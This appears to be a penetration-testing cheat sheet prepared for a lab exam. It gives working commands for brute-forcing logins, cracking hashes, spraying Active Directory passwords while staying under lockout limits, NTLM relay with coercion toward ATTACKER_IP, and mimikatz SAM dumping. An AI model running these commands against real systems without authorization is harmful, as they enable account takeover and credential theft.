● Locate protocol-specific wordlists:
○ locate seclists | grep -i ftp
○ locate seclists | grep -i ssh
● Brute-force attack:
○ FTP:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.t xt ftp://$TARGET -v -I
○ SSH
■ hydra -C //usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist. txt ssh://$TARGET -v -I
Passwords with Special Characters (: ! ) etc.)
Impacket tools use : as the username:password delimiter. If the password contains :, impacket parses it wrong and sends the wrong password — this can lock the account.
| Tool | Handles special chars? | Use for special passwords? |
|---|---|---|
| evil-winrm | YES (use single quotes) | evil-winrm -i TARGET -u user -p 'rabbit:)' |
| PowerShell remoting | YES | Invoke-Command from inside the domain |
| nxc | YES (use single quotes) | nxc smb TARGET -u user -p 'rabbit:)' |
| impacket-psexec | NO — : breaks parsing | NEVER use with : in password |
| impacket-secretsdump | NO — same problem | Use -hashes flag instead |
| impacket-wmiexec | NO — same problem | Use -hashes flag instead |
Safe alternatives when password has special characters:
# Option 1 — evil-winrm with single quotes (safest for special chars)
evil-winrm -i $ip -u user -p 'rabbit:)'
# Option 2 — Pass the hash (no password needed at all)
evil-winrm -i $ip -u user -H <ntlm_hash>
# Option 3 — PowerShell remoting from INSIDE the domain
$pass = ConvertTo-SecureString 'rabbit:)' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $pass)
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami }
If you accidentally lock an account:
- Domain lockout typically auto-expires in 15-30 minutes
- Work on other machines while waiting
- NEVER spray a special-character password across multiple machines
DCC2 / Slow Hash Cracking Strategy
Priority order for cracking:
- Themed wordlist + rules (if usernames have a theme — 30 seconds)
- Small common lists —
xato-net-10-million-passwords-1000.txt,10k-most-common.txt - Small common lists + rules — same lists with
-r /usr/share/hashcat/rules/best64.rule - Rockyou — last resort, let it run in background while you do other things
How to build a themed wordlist on the exam (no internet needed):
# Look at usernames — are they themed? (game chars, seasons, cities, etc.)
# Write 10-15 related words:
echo -e "Mushroom\nPrincess\nMario\nLuigi\nBowser\nToad\nPeach\nStar\nKoopa" > themed.txt
# Apply rules — turns 10 words into 700+ variations
hashcat -m 2100 hashes.txt themed.txt -r /usr/share/hashcat/rules/best64.rule --force
# This adds: !, 1, 123, s to S, UPPERCASE, reverse, etc.
Common themes to recognize:
- Seasons (summer, winter) → Season + year:
Summer2024! - City names → City + number:
London123 - Company name in the lab →
CompanyName1!
DCC2 can NOT be used for Pass-the-Hash. Must crack first. Use hashcat mode 2100.
Password Attacks Reference
Hash Identification
hashid -m '<HASH>' # identifies hash type + hashcat mode
The 10 Hashcat Modes You Must Memorize
| Mode | Type | Source |
|---|---|---|
| 1000 | NTLM | SAM dump, secretsdump, mimikatz |
| 5600 | NetNTLMv2 | Responder captures |
| 13100 | Kerberoast (RC4) | GetUserSPNs, Rubeus |
| 18200 | AS-REP Roast | GetNPUsers, Rubeus |
| 1800 | sha512crypt ($6$) | Linux /etc/shadow |
| 500 | md5crypt ($1$) | Linux /etc/shadow (older) |
| 3200 | bcrypt ($2a$) | Web applications |
| 0 | MD5 | Web application databases |
| 1700 | SHA-512 | Various |
| 400 | WordPress ($P$) | wp_users table |
| 2100 | DCC2 (cached domain creds) | secretsdump cached entries |
Standard Cracking Command
hashcat -m <MODE> hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# If rockyou doesn't crack it, try with more rules:
hashcat -m <MODE> hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule --force
# View previously cracked results:
hashcat -m <MODE> hash.txt --show
john hash.txt --show
Extracting Hashes from Files (the *2john family)
Any password-protected file can be converted to a crackable hash. If someone protected it, the contents matter — always crack it.
IMPORTANT: hashcat CANNOT read raw files (id_rsa, .zip, .pdf, .kdbx). You MUST extract the hash first with *2john. Feeding a raw file to hashcat gives “Separator unmatched” errors. For file-based hashes, john is simpler — one extract + one crack. Use john, not hashcat.
● Password cracking
● pdf2john .pdf | tee pdf_hash
● john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash
pdf2john file.pdf > hash.txt && john hash.txt --wordlist=rockyou.txt
ssh2john id_rsa > hash.txt && john hash.txt --wordlist=rockyou.txt
zip2john file.zip > hash.txt && john hash.txt --wordlist=rockyou.txt
keepass2john file.kdbx > hash.txt && john hash.txt --wordlist=rockyou.txt
rar2john file.rar > hash.txt && john hash.txt --wordlist=rockyou.txt
office2john file.docx > hash.txt && john hash.txt --wordlist=rockyou.txt
Online Brute Force
# SSH
hydra -l admin -P rockyou.txt ssh://TARGET -t 4
hydra -l admin -P rockyou.txt -s 2222 ssh://TARGET # non-standard port
# FTP
hydra -l admin -P rockyou.txt ftp://TARGET -t 4
# RDP (password spray: one password, many users)
hydra -L users.txt -p 'CompanyPass2024!' rdp://TARGET
# SMB
hydra -l admin -P rockyou.txt smb://TARGET
Hydra HTTP POST Form (web login brute force)
This is the tricky one. You need to capture the login request in Burp first to get the correct parameters.
# Syntax: hydra TARGET http-post-form "PATH:BODY:FAIL_STRING"
# PATH = the form action URL
# BODY = POST parameters with ^USER^ and ^PASS^ placeholders
# FAIL_STRING = text that appears on FAILED login (tells hydra which attempts failed)
# Example: TinyFileManager login
hydra $TARGET http-post-form "/index.php:fm_usr=^USER^&fm_pwd=^PASS^:Login failed" -l admin -P rockyou.txt
# Example: WordPress wp-login.php
hydra TARGET http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:incorrect" -l admin -P rockyou.txt
# Example: generic form
hydra TARGET http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -l admin -P rockyou.txt
How to find the right values:
- Intercept the login request in Burp Suite
- PATH = the URL path the form posts to (from the
POST /pathline) - BODY = the raw POST body with username/password replaced by
^USER^/^PASS^ - FAIL_STRING = any unique text from the failed login response (view in Burp response)
Before attacking auth for >3 minutes, double-check your command. If it’s taking too long, the syntax is probably wrong.
Custom Wordlist Generation
# Scrape website for words
cewl http://TARGET -w custom.txt -d 3
# Mutate wordlist with rules
hashcat --stdout wordlist.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt
# Combine
cat custom.txt rockyou.txt > combined.txt
Hashcat Custom Rules (match password policies)
When a target has a password policy (e.g. uppercase + number + special char), mutate your wordlist to match:
# Common rule functions (one per line in a .rule file)
# c = capitalize first letter, $1 = append "1", $! = append "!"
echo 'c$1$!' > custom.rule
# Applies: password → Password1!
# Two rules on separate lines = each applied independently (doubles output)
echo -e 'c$1$!\nc$2$@' > custom.rule
# Applies: password → Password1! AND Password2@
# Apply rules during cracking
hashcat -m <MODE> hash.txt wordlist.txt -r custom.rule
# Preview mutations without cracking (debug)
hashcat --stdout wordlist.txt -r custom.rule | head -20
Common rule combos for corporate policies:
| Policy | Rule | Example |
|---|---|---|
| Upper + number + special | c$1$! | Password1! |
| Upper + year | c$2$0$2$4 | Password2024 |
| Upper + season pattern | c on seasons.txt | Spring, Winter |
| Prepend number | ^1 | 1password |
Built-in rules:
best64.rule(fast, good coverage),dive.rule(thorough, slow),rockyou-30000.rule(massive)
AD Password Spraying
Always check lockout policy first:
netexec smb <DC_IP> -u 'USER' -p 'PASS' --pass-pol
Spray ONE password at a time, wait for observation window:
netexec smb <DC_IP> -u users.txt -p 'CompanyName2024!' --continue-on-success --no-bruteforce
netexec smb <DC_IP> -u users.txt -p 'Password123!' --continue-on-success --no-bruteforce
kerbrute passwordspray -d DOMAIN --dc <DC_IP> users.txt 'Season+Year!'
Common spray passwords: Season+Year! (Spring2024!), CompanyName+Year!, Password123!, Welcome1!
Net-NTLMv2 Relay (when you can’t crack the hash)
If you capture a Net-NTLMv2 hash but can’t crack it, relay it to another machine where that user has local admin.
Requirement: SMB signing must be disabled on the relay target.
# Check SMB signing across the network
netexec smb <SUBNET>/24 --gen-relay-list targets.txt
# targets.txt = machines with SMB signing disabled
# Start relay (forward auth to a target, get shell)
impacket-ntlmrelayx -tf targets.txt -smb2support
# Default: dumps SAM hashes. Add -i for interactive shell, -c for command execution.
impacket-ntlmrelayx -tf targets.txt -smb2support -i # interactive SMB shell on 127.0.0.1:11000
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'whoami'
Then trigger the auth using one of these methods:
- Web app UNC path — any plugin/feature with a file path field, set it to
//ATTACKER_IP/fake - PetitPotam:
python3 PetitPotam.py ATTACKER_IP TARGET_IP - PrinterBug:
python3 dementor.py ATTACKER_IP TARGET_IP - xp_dirtytree (MSSQL):
EXEC master..xp_dirtytree '\\ATTACKER_IP\share'
Relay ≠ PtH. Relay forwards a LIVE authentication attempt. PtH uses a stolen hash directly.
Mimikatz from Non-SYSTEM Admin Shell
If you have admin but NOT SYSTEM (e.g. RDP as local admin), mimikatz needs token::elevate before dumping SAM:
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate :: impersonate SYSTEM token
mimikatz # lsadump::sam :: now works — dumps local account hashes
Without
token::elevate,lsadump::samfails with access denied from a medium-integrity admin shell.